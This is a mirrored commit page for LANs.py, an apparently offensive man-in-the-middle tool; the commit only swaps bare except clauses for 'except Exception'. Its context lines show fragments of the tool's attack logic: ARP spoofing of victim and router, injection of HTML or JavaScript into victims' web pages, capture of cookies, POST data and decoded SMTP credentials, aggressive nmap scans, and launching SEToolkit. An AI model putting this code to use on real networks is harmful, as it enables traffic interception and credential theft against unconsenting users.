mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 04:52:18 -07:00
cleaned up empty except statements
This commit is contained in:
parent
b1480c027c
commit
cdb954ee98
1 changed files with 35 additions and 35 deletions
70
LANs.py
70
LANs.py
|
@ -25,7 +25,7 @@ __version__ = 1.0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import nfqueue
|
import nfqueue
|
||||||
except:
|
except Exception:
|
||||||
nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ')
|
nfq = raw_input('[-] python-nfqueue not installed, would you like to install now? (apt-get install -y python-nfqueue will be run if yes) [y/n]: ')
|
||||||
if nfq == 'y':
|
if nfq == 'y':
|
||||||
os.system('apt-get install -y python-nfqueue')
|
os.system('apt-get install -y python-nfqueue')
|
||||||
|
@ -137,12 +137,12 @@ class Parser():
|
||||||
if self.args.ipaddress:
|
if self.args.ipaddress:
|
||||||
try:
|
try:
|
||||||
pkt = payload[IP]
|
pkt = payload[IP]
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
pkt = IP(payload.get_data())
|
pkt = IP(payload.get_data())
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
|
|
||||||
IP_layer = pkt[IP]
|
IP_layer = pkt[IP]
|
||||||
|
@ -195,7 +195,7 @@ class Parser():
|
||||||
|
|
||||||
try:
|
try:
|
||||||
headers, body = load.split("\r\n\r\n", 1)
|
headers, body = load.split("\r\n\r\n", 1)
|
||||||
except:
|
except Exception:
|
||||||
headers = load
|
headers = load
|
||||||
body = ''
|
body = ''
|
||||||
header_lines = headers.split("\r\n")
|
header_lines = headers.split("\r\n")
|
||||||
|
@ -234,7 +234,7 @@ class Parser():
|
||||||
r = requests.get('http://'+self.html_url, headers=UA_header)
|
r = requests.get('http://'+self.html_url, headers=UA_header)
|
||||||
try:
|
try:
|
||||||
body = r.text.encode('utf-8')
|
body = r.text.encode('utf-8')
|
||||||
except:
|
except Exception:
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
debugger = open('/home/user/projects/origBody', 'w')
|
debugger = open('/home/user/projects/origBody', 'w')
|
||||||
debugger.write(body)
|
debugger.write(body)
|
||||||
|
@ -246,11 +246,11 @@ class Parser():
|
||||||
try:
|
try:
|
||||||
psplit = body.split('</head>', 1)
|
psplit = body.split('</head>', 1)
|
||||||
body = psplit[0]+bhtml+'</head>'+psplit[1]
|
body = psplit[0]+bhtml+'</head>'+psplit[1]
|
||||||
except:
|
except Exception:
|
||||||
try:
|
try:
|
||||||
psplit = body.split('<head>', 1)
|
psplit = body.split('<head>', 1)
|
||||||
body = psplit[0]+'<head>'+bhtml+psplit[1]
|
body = psplit[0]+'<head>'+bhtml+psplit[1]
|
||||||
except:
|
except Exception:
|
||||||
if not self.args.code:
|
if not self.args.code:
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
|
@ -262,11 +262,11 @@ class Parser():
|
||||||
try:
|
try:
|
||||||
psplit = body.split('<head>', 1)
|
psplit = body.split('<head>', 1)
|
||||||
body = psplit[0]+'<head>'+chtml+psplit[1]
|
body = psplit[0]+'<head>'+chtml+psplit[1]
|
||||||
except:
|
except Exception:
|
||||||
try:
|
try:
|
||||||
psplit = body.split('</head>', 1)
|
psplit = body.split('</head>', 1)
|
||||||
body = psplit[0]+chtml+'</head>'+psplit[1]
|
body = psplit[0]+chtml+'</head>'+psplit[1]
|
||||||
except:
|
except Exception:
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
return
|
return
|
||||||
|
@ -283,7 +283,7 @@ class Parser():
|
||||||
f.write(body)
|
f.write(body)
|
||||||
f.close()
|
f.close()
|
||||||
body = comp_body.getvalue()
|
body = comp_body.getvalue()
|
||||||
except:
|
except Exception:
|
||||||
try:
|
try:
|
||||||
pkt[Raw].load = headers+"\r\n\r\n"+body
|
pkt[Raw].load = headers+"\r\n\r\n"+body
|
||||||
pkt[IP].len = len(str(pkt))
|
pkt[IP].len = len(str(pkt))
|
||||||
|
@ -294,7 +294,7 @@ class Parser():
|
||||||
print '[-] Could not recompress html, sent packet as is'
|
print '[-] Could not recompress html, sent packet as is'
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
return
|
return
|
||||||
except:
|
except Exception:
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
return
|
return
|
||||||
|
@ -311,7 +311,7 @@ class Parser():
|
||||||
self.block_acks.append(ack)
|
self.block_acks.append(ack)
|
||||||
payload.set_verdict(nfqueue.NF_DROP)
|
payload.set_verdict(nfqueue.NF_DROP)
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
except:
|
except Exception:
|
||||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||||
self.html_url = None
|
self.html_url = None
|
||||||
print '[-] Failed to inject packet'
|
print '[-] Failed to inject packet'
|
||||||
|
@ -326,10 +326,10 @@ class Parser():
|
||||||
if searchHost:
|
if searchHost:
|
||||||
try:
|
try:
|
||||||
return l.split('Host: ', 1)[1]
|
return l.split('Host: ', 1)[1]
|
||||||
except:
|
except Exception:
|
||||||
try:
|
try:
|
||||||
return l.split('host: ', 1)[1]
|
return l.split('host: ', 1)[1]
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
|
|
||||||
def get_get(self, header_lines):
|
def get_get(self, header_lines):
|
||||||
|
@ -338,7 +338,7 @@ class Parser():
|
||||||
if searchGet:
|
if searchGet:
|
||||||
try:
|
try:
|
||||||
return l.split('GET ')[1].split(' ')[0]
|
return l.split('GET ')[1].split(' ')[0]
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
|
|
||||||
def get_post(self, header_lines):
|
def get_post(self, header_lines):
|
||||||
|
@ -347,7 +347,7 @@ class Parser():
|
||||||
if searchPost:
|
if searchPost:
|
||||||
try:
|
try:
|
||||||
return l.split(' ')[1].split(' ')[0]
|
return l.split(' ')[1].split(' ')[0]
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
|
|
||||||
def get_url(self, host, get, post):
|
def get_url(self, host, get, post):
|
||||||
|
@ -383,7 +383,7 @@ class Parser():
|
||||||
try:
|
try:
|
||||||
urlsplit = url.split('/')
|
urlsplit = url.split('/')
|
||||||
url = urlsplit[0]+'/'+urlsplit[1]
|
url = urlsplit[0]+'/'+urlsplit[1]
|
||||||
except:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
if self.HTTPfragged == 1:
|
if self.HTTPfragged == 1:
|
||||||
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
|
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
|
||||||
|
@ -419,7 +419,7 @@ class Parser():
|
||||||
self.HTTPfragged = 0
|
self.HTTPfragged = 0
|
||||||
try:
|
try:
|
||||||
headers, body = load.split(r"\r\n\r\n", 1)
|
headers, body = load.split(r"\r\n\r\n", 1)
|
||||||
except:
|
except Exception:
|
||||||
headers = load
|
headers = load
|
||||||
body = ''
|
body = ''
|
||||||
header_lines = headers.split(r"\r\n")
|
header_lines = headers.split(r"\r\n")
|
||||||
|
@ -512,7 +512,7 @@ class Parser():
|
||||||
ircmsg = load[1]
|
ircmsg = load[1]
|
||||||
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
|
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
|
||||||
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
|
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
|
|
||||||
def cookies(self, host, header_lines):
|
def cookies(self, host, header_lines):
|
||||||
|
@ -553,7 +553,7 @@ class Parser():
|
||||||
|
|
||||||
try:
|
try:
|
||||||
headers, body = load.split(r"\r\n\r\n", 1)
|
headers, body = load.split(r"\r\n\r\n", 1)
|
||||||
except:
|
except Exception:
|
||||||
headers = load
|
headers = load
|
||||||
body = ''
|
body = ''
|
||||||
header_lines = headers.split(r"\r\n")
|
header_lines = headers.split(r"\r\n")
|
||||||
|
@ -657,7 +657,7 @@ class Parser():
|
||||||
beginning = body.split(r"\r\n", 1)[0]
|
beginning = body.split(r"\r\n", 1)[0]
|
||||||
body1 = body.split(r"\r\n\r\n", 1)[1]
|
body1 = body.split(r"\r\n\r\n", 1)[1]
|
||||||
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
|
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
|
||||||
except:
|
except Exception:
|
||||||
return
|
return
|
||||||
if message != '':
|
if message != '':
|
||||||
if self.mailfragged == 1:
|
if self.mailfragged == 1:
|
||||||
|
@ -684,13 +684,13 @@ class Parser():
|
||||||
try:
|
try:
|
||||||
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
|
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
|
||||||
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
|
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
|
||||||
except:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
try:
|
try:
|
||||||
b64str = load
|
b64str = load
|
||||||
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
|
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
|
||||||
except:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
# Test to see if decode worked
|
# Test to see if decode worked
|
||||||
if '@' in decoded:
|
if '@' in decoded:
|
||||||
|
@ -778,7 +778,7 @@ class active_users():
|
||||||
nmap = Popen(['/usr/bin/nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
|
nmap = Popen(['/usr/bin/nmap', '-sn', '-n', IPprefix], stdout=PIPE, stderr=DN)
|
||||||
nmap = nmap.communicate()[0]
|
nmap = nmap.communicate()[0]
|
||||||
nmap = nmap.splitlines()[2:-1]
|
nmap = nmap.splitlines()[2:-1]
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Nmap ARP ping failed, is nmap installed?'
|
print '[-] Nmap ARP ping failed, is nmap installed?'
|
||||||
for x in nmap:
|
for x in nmap:
|
||||||
if 'Nmap' in x:
|
if 'Nmap' in x:
|
||||||
|
@ -811,14 +811,14 @@ class active_users():
|
||||||
nbt = nbt.communicate()[0]
|
nbt = nbt.communicate()[0]
|
||||||
nbt = nbt.splitlines()
|
nbt = nbt.splitlines()
|
||||||
nbt = nbt[4:]
|
nbt = nbt[4:]
|
||||||
except:
|
except Exception:
|
||||||
print '[-] nbtscan error, are you sure it is installed?'
|
print '[-] nbtscan error, are you sure it is installed?'
|
||||||
for l in nbt:
|
for l in nbt:
|
||||||
try:
|
try:
|
||||||
l = l.split()
|
l = l.split()
|
||||||
nbtip = l[0]
|
nbtip = l[0]
|
||||||
nbtname = l[1]
|
nbtname = l[1]
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Could not find any netbios names. Continuing without them'
|
print '[-] Could not find any netbios names. Continuing without them'
|
||||||
if nbtip and nbtname:
|
if nbtip and nbtname:
|
||||||
for a in self.IPandMAC:
|
for a in self.IPandMAC:
|
||||||
|
@ -832,7 +832,7 @@ class active_users():
|
||||||
promisc = promiscSearch.communicate()[0]
|
promisc = promiscSearch.communicate()[0]
|
||||||
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
|
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
|
||||||
self.monmode = monmodeSearch.group(1)
|
self.monmode = monmodeSearch.group(1)
|
||||||
except:
|
except Exception:
|
||||||
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
|
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
|
||||||
|
|
||||||
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
|
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
|
||||||
|
@ -885,7 +885,7 @@ def threads(args):
|
||||||
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
|
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
|
||||||
se.daemon = True
|
se.daemon = True
|
||||||
se.start()
|
se.start()
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
|
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
|
||||||
|
|
||||||
if args.nmapaggressive:
|
if args.nmapaggressive:
|
||||||
|
@ -894,7 +894,7 @@ def threads(args):
|
||||||
n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
|
n = Thread(target=os.system, args=('nmap -e '+interface+' -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
|
||||||
n.daemon = True
|
n.daemon = True
|
||||||
n.start()
|
n.start()
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Aggressive Nmap scan failed, is nmap installed?'
|
print '[-] Aggressive Nmap scan failed, is nmap installed?'
|
||||||
|
|
||||||
if args.setoolkit:
|
if args.setoolkit:
|
||||||
|
@ -903,7 +903,7 @@ def threads(args):
|
||||||
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
|
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
|
||||||
se.daemon = True
|
se.daemon = True
|
||||||
se.start()
|
se.start()
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Could not open SEToolkit, continuing without it.'
|
print '[-] Could not open SEToolkit, continuing without it.'
|
||||||
|
|
||||||
def pcap_handler(args):
|
def pcap_handler(args):
|
||||||
|
@ -1009,7 +1009,7 @@ def main(args):
|
||||||
routerMAC = Spoof().originalMAC(routerIP)
|
routerMAC = Spoof().originalMAC(routerIP)
|
||||||
print "[*] Router MAC: " + routerMAC
|
print "[*] Router MAC: " + routerMAC
|
||||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||||
except:
|
except Exception:
|
||||||
try:
|
try:
|
||||||
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
|
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
|
||||||
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
||||||
|
@ -1018,7 +1018,7 @@ def main(args):
|
||||||
routerMAC = arpoutput[2]
|
routerMAC = arpoutput[2]
|
||||||
print "[*] Router MAC: " + routerMAC
|
print "[*] Router MAC: " + routerMAC
|
||||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||||
except:
|
except Exception:
|
||||||
sys.exit("[-] [arp -n] failed to give accurate router MAC address")
|
sys.exit("[-] [arp -n] failed to give accurate router MAC address")
|
||||||
|
|
||||||
if args.victimmac:
|
if args.victimmac:
|
||||||
|
@ -1030,13 +1030,13 @@ def main(args):
|
||||||
victimMAC = Spoof().originalMAC(victimIP)
|
victimMAC = Spoof().originalMAC(victimIP)
|
||||||
print "[*] Victim MAC: " + victimMAC
|
print "[*] Victim MAC: " + victimMAC
|
||||||
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
logger.write("[*] Victim MAC: "+victimMAC+'\n')
|
||||||
except:
|
except Exception:
|
||||||
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address")
|
exit("[-] Could not get victim MAC address; try the -vmac [xx:xx:xx:xx:xx:xx] option if you know the victim's MAC address")
|
||||||
if dnsIP != routerIP:
|
if dnsIP != routerIP:
|
||||||
try:
|
try:
|
||||||
dnsMAC = Spoof().originalMAC(dnsIP)
|
dnsMAC = Spoof().originalMAC(dnsIP)
|
||||||
print "[*] DNS server MAC: " + dnsMAC
|
print "[*] DNS server MAC: " + dnsMAC
|
||||||
except:
|
except Exception:
|
||||||
print "[-] Could not get DNS server MAC address; continuing"
|
print "[-] Could not get DNS server MAC address; continuing"
|
||||||
if dnsIP == routerIP:
|
if dnsIP == routerIP:
|
||||||
dnsMAC = routerMAC
|
dnsMAC = routerMAC
|
||||||
|
@ -1055,7 +1055,7 @@ def main(args):
|
||||||
if x != '':
|
if x != '':
|
||||||
print '[+]',x
|
print '[+]',x
|
||||||
logger.write('[+] '+x+'\n')
|
logger.write('[+] '+x+'\n')
|
||||||
except:
|
except Exception:
|
||||||
print '[-] Nmap port and OS scan failed, is it installed?'
|
print '[-] Nmap port and OS scan failed, is it installed?'
|
||||||
|
|
||||||
print ''
|
print ''
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue